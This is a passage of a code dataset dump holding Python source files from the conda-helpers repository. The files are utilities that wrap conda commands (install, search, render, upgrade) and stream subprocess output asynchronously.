ArgumentParser(prog='condac', epilog='Version %s' %\n ch.__version__, description='Cached Conda Memoized'\n ' Conda commands.')\n parser.add_argument('--version', action='store_true')\n\n sub = parser.add_subparsers(dest='command')\n supported_commands = ['render', 'build']\n\n subparsers = OrderedDict([(subparser_name_i,\n sub.add_parser(subparser_name_i,\n parents=[BASE_PARSER]))\n for subparser_name_i in supported_commands])\n\n args = parser.parse_args(parser_args)\n\n if args.version:\n print(ch.__version__)\n return\n\n if not args.command:\n parser.error('No command specified. Must specify one of: `{}`'\n .format(', '.join(subparsers.keys())))\n\n if args.verbose:\n if args.cache_dir == '-':\n print(_C.Fore.MAGENTA + 'Cache disabled.', file=sys.stderr)\n args.cache_dir = None\n elif not args.cache_dir.isdir():\n print(_C.Fore.MAGENTA + 'Creating cache dir:',\n _C.Fore.WHITE + args.cache_dir.realpath(), file=sys.stderr)\n args.cache_dir = args.cache_dir.realpath()\n else:\n print(_C.Fore.MAGENTA + 'Using cache dir:',\n _C.Fore.WHITE + args.cache_dir.realpath(), file=sys.stderr)\n args.cache_dir = args.cache_dir.realpath()\n\n memory = jl.Memory(cachedir=args.cache_dir, verbose=0)\n\n # **Note: `conda_exec` function is created dynamically to use the\n # dynamically-specified memoize cache directory.**\n conda_exec = memory.cache(ch.exe_api.conda_exec)\n\n start = dt.datetime.now()\n try:\n conda_exec_memoize(args.command, *cmd_args, verbose=args.verbose,\n __force_exec__=args.force)\n end = dt.datetime.now()\n\n if args.verbose:\n exe_time = (end - start)\n print(_C.Fore.MAGENTA + '\\nExecution time: %s' % exe_time,\n file=sys.stderr)\n finally:\n print(_C.Style.RESET_ALL, end='')\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5618631839752197, "alphanum_fraction": 0.5653566122055054, "avg_line_length": 35.935482025146484, "blob_id": "9854b4c3bccfae0a15762155cd4ccb4eb2eccdd3", "content_id": "385ccd6700fe1fd562ddf84c9f1fe64de04382b4", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3435, "license_type": "permissive", "max_line_length": 77, "num_lines": 93, "path": "/conda_helpers/_async_py27.py", "repo_name": "mkdryden/conda-helpers", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import, print_function, unicode_literals\nfrom backports.shutil_get_terminal_size import get_terminal_size\nfrom functools import partial\nimport io\nimport itertools as it\nimport subprocess as sp\nimport sys\n\nimport colorama as co\nimport trollius as asyncio\n\n\[email protected]\ndef _read_stream(stream, callback=None, buffer_size=None):\n while True:\n data = yield asyncio.From(stream.read(buffer_size or 1))\n if data:\n if callback is not None:\n callback(data)\n else:\n break\n\n\[email protected]\ndef run_command(cmd, *args, **kwargs):\n '''\n .. versionchanged:: 0.18\n Display wait indicator if ``verbose`` is set to ``None`` (default).\n '''\n shell = kwargs.pop('shell', True)\n verbose = kwargs.pop('verbose', True)\n buffer_size = kwargs.pop('buffer_size', io.DEFAULT_BUFFER_SIZE)\n\n if isinstance(cmd, list):\n cmd = sp.list2cmdline(cmd)\n _exec_func = (asyncio.subprocess.create_subprocess_shell\n if shell else asyncio.subprocess.create_subprocess_exec)\n process = yield asyncio.From(_exec_func(cmd, *args,\n stdout=asyncio.subprocess.PIPE,\n stderr=asyncio.subprocess.PIPE))\n stdout_ = io.StringIO()\n stderr_ = io.StringIO()\n\n terminal_size = get_terminal_size()\n message = [co.Fore.MAGENTA + 'Executing:', co.Fore.WHITE + cmd]\n if sum(map(len, message)) + 2 > terminal_size.columns:\n cmd_len = terminal_size.columns - 2 - sum(map(len, ('...',\n message[0])))\n message[1] = co.Fore.WHITE + cmd[:cmd_len] + '...'\n waiting_indicator = it.cycle(r'\\|/-')\n\n cmd_finished = asyncio.Event()\n\n @asyncio.coroutine\n def display_status():\n '''\n Display status while executing command.\n '''\n # Update no faster than `stderr` flush interval (if set).\n update_interval = 2 * getattr(sys.stderr, 'flush_interval', .2)\n\n while not cmd_finished.is_set():\n print('\\r' + co.Fore.WHITE + next(waiting_indicator), *message,\n end='', file=sys.stderr)\n yield asyncio.From(asyncio.sleep(update_interval))\n\n print('\\r' + co.Fore.GREEN + 'Finished:', co.Fore.WHITE + cmd,\n file=sys.stderr)\n\n def dump(output, data):\n text = data.decode('utf8')\n if verbose:\n print(text, end='')\n output.write(text)\n\n if verbose is None:\n # Display status while executing command.\n status_future = asyncio.ensure_future(display_status())\n\n yield asyncio.From(asyncio.wait([_read_stream(process.stdout,\n partial(dump, stdout_),\n buffer_size=buffer_size),\n _read_stream(process.stderr,\n partial(dump, stderr_),\n buffer_size=buffer_size)]))\n\n # Notify that command has completed execution.\n cmd_finished.set()\n if verbose is None:\n # Wait for status to display \"Finished: ...\"\n yield asyncio.From(status_future)\n return_code = yield asyncio.From(process.wait())\n raise asyncio.Return(return_code, stdout_.getvalue(), stderr_.getvalue())\n" }, { "alpha_fraction": 0.5780038237571716, "alphanum_fraction": 0.5848821997642517, "avg_line_length": 34.58854293823242, "blob_id": "a66172a24c625c3c03d75c753d9f16148fe74f56", "content_id": "f39775365c0621b2965613f61871b082b1689eff", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 27332, "license_type": "permissive", "max_line_length": 141, "num_lines": 768, "path": "/conda_helpers/exe_api.py", "repo_name": "mkdryden/conda-helpers", "src_encoding": "UTF-8", "text": "# coding: utf-8\n'''\n.. versionadded:: 0.21\n\nThis module contains functions that require a `conda` executable to be\navailable on the system path.\n'''\nfrom __future__ import absolute_import, print_function, unicode_literals\nimport itertools as it\nimport io\nimport logging\nimport platform\nimport re\nimport sys\nimport subprocess as sp\nimport tempfile as tmp\n\nimport colorama as co\nimport path_helpers as ph\nimport whichcraft\n\nfrom .asyncio_util import run_command, with_loop\nfrom .py_api import conda_list, conda_prefix\nfrom .recipes import recipe_objs, find_requirements\n\n\nlogger = logging.getLogger(__name__)\n\n'''\n.. versionadded:: 0.12.3\n\nMatch progress messages from Conda install output log.\n\nFor example:\n\n {\"maxval\": 133256, \"finished\": false, \"fetch\": \"microdrop-laun\", \"progress\": 0}\n\nSee `issue #5 <https://github.com/sci-bots/conda-helpers/issues/5>`_.\n'''\ncre_json_progress = re.compile(r'{\"maxval\":[^,]+,\\s+\"finished\":[^,]+,'\n r'\\s+\"fetch\":\\s+[^,]+,\\s+\"progress\":[^}]+}')\n\n'''\n.. versionadded:: 0.12.3\n\nMatch non-JSON messages, e.g., `Conda menuinst log messages <https://github.com/ContinuumIO/menuinst/issues/49>`_.\n\nFor example:\n\n INFO menuinst_win32:__init__(182): Menu: name: 'MicroDrop', prefix: 'dropbot.py', env_name: 'dropbot.py', mode: 'None', used_mode: 'user'\n\nSee also\n--------\nhttps://groups.google.com/a/continuum.io/forum/#!topic/anaconda/RWs9of4I2KM\n\nhttps://github.com/sci-bots/conda-helpers/issues/5\n'''\ncre_non_json = re.compile(r'^\\w')\n\n\nclass NotInstalled(Exception):\n pass\n\n\ndef f_major_version(version):\n '''\n Parameters\n ----------\n version : str\n Version string (e.g., ``'0.1.0'``, ``'1.0'``).\n\n Returns\n -------\n int\n Number before first dot in version string (i.e., major version number).\n '''\n return int(version.split('.')[0])\n\n\ndef conda_executable():\n '''\n .. versionadded:: 0.2.post5\n\n .. versionchanged:: 0.21\n Search for first Conda executable on system path.\n\n This adds support for Conda environments created with ``conda>=4.4``,\n where a link to the root ``conda`` executable is no longer created in\n the ``Scripts`` directory in the new environment. In such cases, it is\n not possible to locate the root ``conda`` executable given only the\n child environment.\n\n\n Returns\n -------\n path_helpers.path\n Path to Conda executable.\n '''\n conda_exe = whichcraft.which('conda')\n if conda_exe is None:\n raise IOError('Could not locate `conda` executable.')\n else:\n return ph.path(conda_exe)\n\n\ndef conda_root():\n '''\n .. versionadded:: 0.3.post2\n\n .. versionchanged:: 0.21\n Look up ``conda`` executable path using :func:`conda_executable`.\n\n\n Returns\n -------\n path_helpers.path\n Path to Conda **root** environment.\n '''\n return ph.path(sp.check_output([conda_executable(), 'info', '--root'],\n shell=True).strip())\n\n\ndef conda_activate_command():\n '''\n .. versionadded:: 0.3.post2\n\n Returns\n -------\n list\n Command list to activate Conda environment.\n\n Can be prepended to a command list to run the command in the activated\n Conda environment corresponding to the running Python executable.\n\n\n .. versionchanged:: 0.21\n Search for first ``activate`` executable on system path.\n\n This adds support for Conda environments created with ``conda>=4.4``,\n where a link to the root ``activate`` executable is no longer created\n in the ``Scripts`` directory in the new environment.\n '''\n activate_exe = whichcraft.which('activate')\n if activate_exe is None:\n raise IOError('Could not locate Conda `activate` executable.')\n return ['call', activate_exe, conda_prefix()]\n\n\ndef conda_upgrade(package_name, match_major_version=False, channels=None):\n '''\n Upgrade Conda package.\n\n Parameters\n ----------\n package_name : str\n Package name.\n match_major_version : bool, optional\n Only upgrade to versions within the same major version.\n channels : list, optional\n Anaconda channels to add to install command.\n\n Returns\n -------\n dict\n Dictionary containing:\n - :data:`original_version`: Package version before upgrade.\n - :data:`new_version`: Package version after upgrade (`None` if\n package was not upgraded).\n - :data:`installed_dependencies`: List of dependencies installed\n during package upgrade. Each dependency is represented as a\n dictionary of the form ``{'package': ..., 'version': ...}``.\n\n Raises\n ------\n NotInstalled\n If package not installed.\n IOError\n If Conda executable not found in Conda environment.\n subprocess.CalledProcessError\n If `conda search` command fails (in Conda environment).\n\n This happens, for example, if no internet connection is available.\n\n See also\n --------\n :func:`pip_helpers.upgrade`\n\n\n .. versionchanged:: 0.15\n Use asynchronous :func:`run_command` coroutine to better stream\n ``stdout`` and ``stderr``.\n '''\n result = {'package': package_name,\n 'original_version': None,\n 'new_version': None,\n 'installed_dependencies': []}\n\n try:\n version_info = conda_version_info(package_name)\n except IOError:\n # Could not locate `conda` executable.\n return result\n\n result = {'package': package_name,\n 'original_version': version_info['installed'],\n 'new_version': None,\n 'installed_dependencies': []}\n\n if result['original_version'] is None:\n # Package is not installed.\n raise NotInstalled(package_name)\n\n if match_major_version:\n installed_major_version = f_major_version(version_info['installed'])\n latest_version = [v for v in version_info['versions']\n if f_major_version(v) == installed_major_version][-1]\n else:\n latest_version = version_info['versions'][-1]\n\n if result['original_version'] == latest_version:\n # Latest version already installed.\n return result\n\n if channels is None:\n channels_args = []\n else:\n channels_args = list(it.chain(*[['-c', c] for c in channels]))\n # Running in a Conda environment.\n command = (['conda', 'install'] + channels_args +\n ['-y', '{}=={}'.format(package_name, latest_version)])\n returncode, stdout, stderr = with_loop(run_command)(command, shell=True,\n verbose=True)\n if returncode != 0:\n message = ('Error executing: `{}`.\\nstdout\\n------\\n\\n{}\\n\\n'\n 'stderr\\n------\\n\\n{}'.format(sp.list2cmdline(command),\n stdout, stderr))\n logger.error(message)\n raise RuntimeError(message)\n\n if '# All requested packages already installed.' in stdout:\n pass\n elif 'The following NEW packages will be INSTALLED' in stdout:\n match = re.search(r'The following NEW packages will be INSTALLED:\\s+'\n r'(?P<packages>.*)\\s+Linking packages', stdout,\n re.MULTILINE | re.DOTALL)\n cre_package = re.compile(r'\\s*(?P<package>\\S+):\\s+'\n r'(?P<version>\\S+)-[^-]+\\s+')\n packages_str = match.group('packages')\n packages = [match_i.groupdict()\n for match_i in cre_package.finditer(packages_str)]\n for package_i in packages:\n if package_i['package'] == package_name:\n result['new_version'] = package_i['version']\n installed_dependencies = [p for p in packages\n if p['package'] != package_name]\n result['installed_dependencies'] = installed_dependencies\n return result\n\n\ndef conda_version_info(package_name, channels=None):\n '''\n Parameters\n ----------\n package_name : str\n Conda package name.\n channels : list, optional\n Anaconda channels to add to install command.\n\n Returns\n -------\n dict\n Version information:\n\n - ``latest``: Latest available version.\n - ``installed``: Installed version (`None` if not installed).\n\n Raises\n ------\n IOError\n If Conda executable not found.\n subprocess.CalledProcessError\n If `conda search` command fails.\n\n This happens, for example, if no internet connection is available.\n\n\n .. versionchanged:: 0.21\n Use :func:`conda_list` to check for currently installed version of\n package. This is necessary since format of ``conda search`` has\n changed and no longer uses a ``*`` to indicate the currently installed\n version.\n '''\n if channels is None:\n channels_args = []\n else:\n channels_args = list(it.chain(*[['-c', c] for c in channels]))\n # Use `-f` flag to search for package, but *no other packages that have\n # `<package_name>` in the name*.\n output = sp.check_output([conda_executable(), 'search'] + channels_args +\n ['-f', package_name], shell=True)\n\n output_lines = output.strip().splitlines()\n\n line_tokens = [re.split(r'\\s+', v) for v in output_lines[1:]]\n versions = [tokens_i[2] if tokens_i[1] in ('*', '.') else tokens_i[1]\n for tokens_i in line_tokens]\n\n installed_version = conda_list(package_name).get(package_name,\n {}).get('version')\n return {'installed': installed_version, 'versions': versions}\n\n\ndef conda_exec(*args, **kwargs):\n r'''\n Execute command using ``conda`` executable in active Conda environment.\n\n .. versionchanged:: 0.7.3\n Do not escape ``<``, ``>`` characters in ``conda_exec``, since these\n characters are required for less than or greater than version\n specifiers.\n\n For example, ``\"foo >2.0\"``, ``\"foobar <3.0\"``.\n\n .. versionchanged:: 0.10\n Log executed command as a string, rather than a list of arguments.\n This should make it easier, for example, to copy and paste a command to\n run manually.\n\n .. versionchanged:: 0.12.2\n Escape ``&``, ``\\``, ``|``, ``^``, ``<``, and ``<`` characters, but\n **only** if there is not a space in an argument. The reason is that if\n there is a space in the argument, the argument will automatically be\n quoted so character escaping is not necessary.\n\n .. versionchanged:: 0.12.3\n By default, strip non-json lines from output when ``--json`` arg is\n specified.\n\n See `issue #5 <https://github.com/sci-bots/conda-helpers/issues/5>`_.\n\n Parameters\n ----------\n *args : list(str)\n Command line arguments to pass to ``conda`` executable.\n\n Returns\n -------\n str\n Output from command (both ``stdout`` and ``stderr``).\n\n\n .. versionchanged:: 0.15\n Use asynchronous :func:`run_command` coroutine to better stream\n ``stdout`` and ``stderr``.\n '''\n verbose = kwargs.get('verbose')\n\n # By default, strip non-json lines from output when `--json` arg is\n # specified.\n # See https://github.com/sci-bots/microdrop/issues/249.\n json_fix = kwargs.get('json_fix', True)\n\n # Only escape characters for arguments that do not include a space. See\n # docstring for details.\n escape_char = '^' if platform.system() == 'Windows' else '\\\\'\n args = [arg_i if ' ' in arg_i else\n re.sub(r'([&\\\\^\\|<>])', r'{}\\1'.format(escape_char), arg_i)\n for arg_i in args]\n\n # Running in a Conda environment.\n command = [conda_executable()] + list(args)\n logger.debug('Executing command: `%s`', sp.list2cmdline(command))\n returncode, stdout, stderr = with_loop(run_command)(command, shell=True,\n verbose=verbose)\n if returncode != 0:\n message = ('Error executing: `{}`.\\nstdout\\n------\\n\\n{}\\n\\n'\n 'stderr\\n------\\n\\n{}'.format(sp.list2cmdline(command),\n stdout, stderr))\n logger.error(message)\n raise RuntimeError(message)\n\n # Strip non-json lines from output when `--json` arg is specified.\n if '--json' in args and json_fix:\n stdout = '\\n'.join(line_i for line_i in stdout.splitlines()\n if not any(cre_j.search(line_i)\n for cre_j in (cre_json_progress,\n cre_non_json)))\n # Strip extraneous output from activate script:\n # - `\"Found VS2014 at C:\\Program Files (x86)\\Microsoft Visual Studio 14.0\\Common7\\Tools\\\"`\n stdout = re.sub('^\"Found VS.*$', '', stdout, flags=re.MULTILINE)\n # - `ERROR: The system was unable to find the specified registry key or value.`\n stdout = re.sub('^ERROR: The system.*$', '', stdout, flags=re.MULTILINE)\n return stdout\n\n\ndef development_setup(recipe_dir, *args, **kwargs):\n '''\n Install build and run-time dependencies for specified Conda build recipe.\n\n Parameters\n ----------\n recipe_dir : str\n Path to Conda build recipe.\n *args\n Additional arguments to pass to ``conda install`` command.\n verbose : bool, optional\n If ``True``, display output of ``conda install`` command.\n\n If ``False``, do not display output of ``conda install`` command.\n\n If ``None``, display ``.`` characters to indicate progress during\n ``conda install`` command.\n\n\n .. versionchanged:: 0.13.1\n Strip build string (where necessary) from rendered recipe package\n specifiers. Fixes `issue #4 <https://github.com/sci-bots/conda-helpers/issues/4>`_\n\n .. versionchanged:: 0.18\n Add support for recipes with multiple outputs.\n\n See also\n --------\n https://conda.io/docs/user-guide/tasks/build-packages/define-metadata.html#outputs-section\n\n .. versionchanged:: 0.19\n Use :func:`render` to render recipe.\n\n .. versionchanged:: 0.20\n Uninstall packages corresponding to paths added with `conda develop` to\n ensure development versions are used instead.\n '''\n verbose = kwargs.pop('verbose', True)\n recipe_dir = ph.path(recipe_dir).realpath()\n\n # Extract list of build and run dependencies from Conda build recipe.\n logger.info('Extract build dependencies from Conda recipe: %s', recipe_dir)\n\n # Render recipe for the Python version of the active Conda environment.\n recipe = render(recipe_dir)\n # Decode one or more outputs from the recipe yaml.\n recipe_objs_ = recipe_objs(recipe)\n\n # Find all `build` and `run` requirements across all outputs.\n requirements = list(it.chain(*map(find_requirements, recipe_objs_)))\n # If listed as both a `build` and `run` requirement use the `run`\n # requirement specification only.\n requirements = [list(requirements_i)[-1] for group_i, requirements_i in\n it.groupby(sorted(requirements, key=lambda x: (x[0], x[-1])),\n key=lambda x: x[0])]\n # Extract package name and version (if specified) from each requirement.\n required_packages = [dict(zip(('package', 'version'), r[1].split(' ')[:2]))\n for r in requirements]\n\n # XXX Do not include dependencies with wildcard version specifiers, since\n # they are not supported by `conda install`.\n required_packages = [v for v in required_packages\n if '*' not in v.get('version', '')]\n\n # Prepend explicit version numbers with '=='.\n for req_i in required_packages:\n if 'version' in req_i and re.search('^\\d', req_i['version']):\n req_i['version'] = '==' + req_i['version']\n\n # Dump sorted list of required packages.\n required_strs = sorted(' {}{}'.format(r['package'],\n ' {}'.format(r['version']\n if 'version' in r\n else ''))\n for r in required_packages)\n logger.info('Install build and run-time dependencies:\\n%s',\n '\\n'.join(required_strs))\n\n # Dump list of Conda requirements to a file and install dependencies using\n # `conda install ...`.\n required_packages_file = tmp.TemporaryFile(mode='w', prefix='%s-dev-req-' %\n recipe_dir.name, delete=False)\n required_packages_lines = ['{} {}'.format(req_i['package'],\n req_i.get('version', '')).strip()\n for req_i in required_packages]\n try:\n # Create string containing one package descriptor per line.\n required_packages_str = '\\n'.join(required_packages_lines)\n required_packages_file.file.write(required_packages_str)\n required_packages_file.file.close()\n conda_exec('install', '-y', '--file', required_packages_file.name,\n *args, verbose=verbose)\n finally:\n # Remove temporary file containing list of Conda requirements.\n ph.path(required_packages_file.name).remove()\n\n # Uninstall packages corresponding to paths added with `conda develop` so\n # development versions are used.\n dev_packages = find_dev_packages(verbose=None if verbose is None or verbose\n else False)\n if dev_packages:\n logger.info('Uninstall packages linked with `conda develop`:\\n'\n '\\n'.join(dev_packages))\n conda_exec('uninstall', '-y', '--force', *dev_packages,\n verbose=verbose)\n\n\ndef install_info(install_response, split_version=False):\n '''\n Normalize ``conda install ...`` output, whether run in dry mode or not, to\n return a list of unlinked packages and a list of linked packages.\n\n .. versionadded:: 0.7\n\n .. versionchanged:: 0.7.3\n Handle install log actions as :class:`dict` or :class:`list`.\n\n .. versionchanged:: 0.11\n Optionally split package specifier string into package name and\n version.\n\n Parameters\n ----------\n install_response : dict\n JSON decoded response from ``conda install ...`` command.\n split_version : bool, optional\n Split package specifier string into package name and version.\n\n Default to ``False`` to maintain backwards compatibility with versions\n ``< 0.11``.\n\n Returns\n -------\n unlinked_packages, linked_packages : list, list\n If no packages were installed or removed:\n - :data:`unlinked_packages` is set to ``None``.\n - :data:`linked_packages` is set to ``None``.\n\n If any packages are installed or removed:\n - :data:`unlinked_packages` is a list of tuples corresponding to the\n packages that were uninstalled/replaced.\n - :data:`linked_packages` is a list of ``(<package name and version>,\n <channel>)`` tuples corresponding to the packages that were\n installed/upgraded.\n\n If :data:`split_version` is ``True``, each package tuple in\n :data:`unlinked_packages`` and :data:`link_packages` is of the form\n ``(<package name>, <version>, <channel>)``\n\n If :data:`split_version` is ``False`` (default), each package tuple in\n :data:`unlinked_packages`` and :data:`link_packages` is of the form\n ``(<package name and version>, <channel>)``.\n\n Raises\n ------\n RuntimeError\n If install response does not include item with key ``'success'``.\n '''\n def f_format_version(v):\n return '{}=={}'.format(v['name'], v['version'])\n\n if not install_response.get('success'):\n raise RuntimeError('Install operation failed.')\n if 'actions' not in install_response:\n return None, None\n # Read list of actions from response.\n actions = install_response['actions']\n if isinstance(actions, list):\n actions = actions[0]\n if isinstance(install_response['actions'], list):\n # Response was from a dry run. It has a different format.\n unlink_packages = [[f_format_version(v), v['channel']]\n for v in actions.get('UNLINK', [])]\n link_packages = [[f_format_version(v), v['channel']]\n for v in actions.get('LINK', [])]\n else:\n unlink_packages = [v.split('::')[::-1]\n for v in actions.get('UNLINK', [])]\n link_packages = [v.split('::')[::-1]\n for v in actions.get('LINK', [])]\n\n # Sort list of packages to make output deterministic.\n sorted_unlinked = sorted(unlink_packages)\n sorted_linked = sorted(link_packages)\n\n def _split_version(package_tuples):\n '''\n Parameters\n ----------\n package_tuples : list\n List of package tuples of the form ``(<package name and version>,\n <channel>)``.\n\n Returns\n -------\n list\n List of package tuples of the form ``(<package name>, <version>,\n <channel>)``, i.e., the :data:`package_tuples` with the package\n name and version number split apart.\n '''\n return [(package_i.split('==') if '==' in package_i\n else ['-'.join(package_i.split('-')[:-2]),\n package_i.split('-')[-2]]) + [channel_i]\n for package_i, channel_i in package_tuples]\n\n if split_version:\n return list(map(_split_version, (sorted_unlinked, sorted_linked)))\n else:\n return sorted_unlinked, sorted_linked\n\n\ndef format_install_info(unlinked, linked):\n '''\n Format output of :func:`install_info` into human-readable form.\n\n For example:\n\n Uninstalled:\n - `foo==3.2` (from `conda-forge`)\n\n Installed:\n - `foobar==1.7` (from `sci-bots`)\n - `bar==1.7` (from `conda-forge`)\n\n .. versionadded:: 0.9\n\n .. versionchanged:: 0.12.1\n Implement handling :func:`install_info` output where\n :data:`split_version` set to ``True``.\n\n Parameters\n ----------\n unlinked : list or None\n If no packages were installed or removed:\n - :data:`unlinked_packages` is set to ``None``.\n - :data:`linked_packages` is set to ``None``.\n linked : list or None\n List of package information tuple either of the form ``(<package name>,\n <version>, <channel>)`` or ``(<package name and version>, <channel>)``.\n\n Returns\n -------\n str\n Formatted output of :func:`install_info`.\n '''\n output = io.BytesIO()\n\n def _format_package_tuple(package_tuple):\n '''\n Parameters\n ----------\n package_tuple : tuple\n Conda package information tuple either of the form\n ``(<package name>, <version>, <channel>)`` or of the form\n ``(<package name and version>, <channel>)``.\n\n See also\n --------\n :func:`install_info`\n '''\n if len(package_tuple) == 2:\n package_i, channel_i = package_tuple\n return ' - `{}` (from `{}`)'.format(package_i, channel_i)\n elif len(package_tuple) == 3:\n package_i, version_i, channel_i = package_tuple\n return ' - `{}=={}` (from `{}`)'.format(package_i, version_i,\n channel_i)\n if unlinked:\n print('Uninstalled:', file=output)\n for package_tuple_i in linked:\n print(_format_package_tuple(package_tuple_i), file=output)\n if unlinked and linked:\n print('', file=output)\n if linked:\n print('Installed:', file=output)\n for package_tuple_i in linked:\n print(_format_package_tuple(package_tuple_i), file=output)\n return output.getvalue()\n\n\ndef render(recipe_dir, **kwargs):\n '''\n Render specified Conda build recipe.\n\n Parameters\n ----------\n recipe_dir : str\n Path to Conda build recipe.\n verbose : bool, optional\n If ``True``, display output of ``conda render`` command.\n\n If ``False``, do not display output of ``conda render`` command.\n\n If ``None``, display waiting indicator ``conda render`` command.\n\n\n Returns\n -------\n str\n Render recipe text.\n\n\n .. versionadded:: 0.19\n\n .. versionchanged:: 0.21\n Use first ``python`` executable found on the system path.\n '''\n recipe_dir = ph.path(recipe_dir).realpath()\n\n # Render recipe for the Python version of the active Conda environment.\n # Note that `conda render` is part of the `conda-build` package, which is\n # installed in the `root` Conda environment, which may have a different\n # version of Python installed.\n PY = '{0.major}.{0.minor}'.format(sys.version_info)\n\n command = ['python', '-m', 'conda_helpers', 'render', '-v', '--',\n recipe_dir, '--python=' + PY]\n returncode, stdout, stderr = with_loop(run_command)(command, shell=True,\n **kwargs)\n # Strip extraneous output from activate script:\n # - `\"Found VS2014 at C:\\Program Files (x86)\\Microsoft Visual Studio 14.0\\Common7\\Tools\\\"`\n stdout = re.sub('^\"Found VS.*$', '', stdout, flags=re.MULTILINE)\n # - `ERROR: The system was unable to find the specified registry key or value.`\n stdout = re.sub('^ERROR: The system.*$', '', stdout, flags=re.MULTILINE)\n return stdout\n\n\ndef find_dev_packages(**kwargs):\n '''\n Find package names corresponding to paths added with ``conda develop``.\n\n To do this, for each path listed in ``.../site-packages/conda.pth``:\n\n 1. If ``.conda-recipe`` directory exists within the path, render the\n corresponding recipe.\n 2. Get the name(s) of the output package(s) from the rendered recipe.\n\n Parameters\n ----------\n **kwargs\n Keyword arguments to pass to :func:`conda_helpers.render`.\n\n Returns\n -------\n list\n List of tuples containing::\n - ``source_path``: path listed in ``conda.pth``.\n - ``packages``: tuple of package names listed in rendered recipe.\n\n\n .. versionadded:: 0.20\n '''\n conda_pth = conda_prefix().joinpath('Lib', 'site-packages', 'conda.pth')\n dev_package_names = []\n\n for dev_path_i in [ph.path(str.strip(p)) for p in conda_pth.lines()]:\n recipe_dir_i = dev_path_i.joinpath('.conda-recipe')\n if not recipe_dir_i.isdir():\n if kwargs.get('verbose'):\n print(co.Fore.RED + 'skipping:', co.Fore.WHITE + dev_path_i,\n file=sys.stderr)\n continue\n if kwargs.get('verbose'):\n print(co.Fore.MAGENTA + 'processing:', co.Fore.WHITE + dev_path_i,\n file=sys.stderr)\n try:\n recipe_i = render(recipe_dir_i, **kwargs)\n recipe_objs_i = recipe_objs(recipe_i)\n for recipe_obj_ij in recipe_objs_i:\n dev_package_names += [recipe_obj_ij['package']['name']]\n except Exception as exception:\n print('error:', exception)\n return dev_package_names\n" }, { "alpha_fraction": 0.5969670414924622, "alphanum_fraction": 0.6011956930160522, "avg_line_length": 32.130435943603516, "blob_id": "48ccf6f9362d7256bd3c3189daa9783fc2ceaf08", "content_id": "6152307141e158598cdc64d971e25b61a277623f", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6858, "license_type": "permissive", "max_line_length": 102, "num_lines": 207, "path": "/conda_helpers/py_api.py", "repo_name": "mkdryden/conda-helpers", "src_encoding": "UTF-8", "text": "# coding: utf-8\n'''\n.. versionadded:: 0.21\n'''\nfrom __future__ import absolute_import, print_function, unicode_literals\nimport json\nimport logging\nimport re\nimport sys\n\nimport path_helpers as ph\nimport six\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass PackageNotFound(Exception):\n def __init__(self, missing, available=None):\n '''\n Parameters\n ----------\n missing : str or list\n Name(s) of missing Conda packages.\n available : str or list, optional\n List of package information dictionaries of a set of available\n Conda packages.\n\n Useful, for example, for code to continue processing packages that\n **are** found.\n '''\n if isinstance(missing, six.string_types):\n self.missing = [missing]\n else:\n self.missing = missing\n if isinstance(available, six.string_types):\n self.available = [available]\n elif available is None:\n self.available = []\n else:\n self.available = available\n\n def __str__(self):\n if len(self.missing) > 1:\n return ('The following package(s) could not be found: {}'\n .format(', '.join('`{}`'.format(package_i)\n for package_i in self.missing)))\n elif self.missing:\n return ('Package `{}` could not be found.'\n .format(self.missing[0]))\n else:\n return 'Package not found.'\n\n\ndef conda_prefix():\n '''\n Returns\n -------\n path_helpers.path\n Path to Conda environment prefix corresponding to running Python\n executable.\n\n Return ``None`` if not running in a Conda environment.\n\n .. versionchanged:: 0.12.4\n Use :attr:`sys.prefix` to look up Conda environment prefix.\n\n .. versionchanged:: 0.13\n Cast :attr:`sys.prefix` as a :class:`path_helpers.path` instance.\n '''\n return ph.path(sys.prefix)\n\n\ndef package_version(name, *args, **kwargs):\n '''\n .. versionchanged:: 0.8\n Accept extra :data:`args` and :data`kwargs`.\n\n .. versionchanged:: 0.12\n Raise :class:`PackageNotFound` error if one or more specified packages\n could not be found.\n\n Note that the ``available`` attribute of the raised\n :class:`PackageNotFound` object contains a list of package information\n dictionaries of the set of specified packages that **are** available\n Conda packages.\n\n This is useful, for example, for code to continue processing packages\n that **are** found.\n\n .. versionchanged:: 0.21\n Look up installed package info in ``<prefix>/conda-meta`` directory,\n eliminating dependency on ``conda`` executable.\n\n This is useful, for example, with Conda environments created with\n ``conda>=4.4``, where a link to the root ``conda`` executable is no\n longer created in the ``Scripts`` directory in the new environment. In\n such cases, it is not possible to locate the root ``conda`` executable\n given only the child environment.\n\n\n Parameters\n ----------\n name : str or list\n Name(s) of installed Conda package.\n *args\n Additional args to pass to :func:`conda_exec`.\n *kwargs\n Additional keyword args to pass to :func:`conda_exec`.\n\n Returns\n -------\n dict or list\n Dictionary (or dictionaries) containing ``'name'``, ``'version'``, and\n ``'build'``.\n\n If multiple package names were specified in :data:`name` argument, the\n order of the list of version dictionaries is the same as the order of\n the package names in the :data:`name` argument.\n\n Raises\n ------\n PackageNotFound\n If one or more specified packages could not be found.\n '''\n singleton = isinstance(name, six.string_types)\n if singleton:\n name = [name]\n\n version_dicts = list(conda_list('|'.join(name), full_name=True).values())\n\n if not version_dicts:\n raise NameError('Package `{}` not installed.'.format(name))\n\n if singleton:\n return version_dicts[0]\n else:\n # Return list of version dictionaries in same order as names where\n # specified in `name` argument.\n versions_dict = dict([(version_i['name'], version_i)\n for version_i in version_dicts])\n missing = [name_i for name_i in name if name_i not in versions_dict]\n available = [versions_dict[name_i] for name_i in name\n if name_i not in missing]\n if missing:\n raise PackageNotFound(missing, available=available)\n else:\n return available\n\n\ndef conda_list(regex, full_name=False):\n '''\n Emulate ``conda list`` command.\n\n .. note::\n This function **does not** require the ``conda`` executable to be\n available on the system path.\n\n\n .. versionadded:: 0.21\n Look up installed package info in ``<prefix>/conda-meta`` directory,\n eliminating dependency on ``conda`` executable.\n\n This is useful, for example, with Conda environments created with\n ``conda>=4.4``, where a link to the root ``conda`` executable is no\n longer created in the ``Scripts`` directory in the new environment. In\n such cases, it is not possible to locate the root ``conda`` executable\n given only the child environment.\n\n\n Parameters\n ----------\n regex : str\n Regular 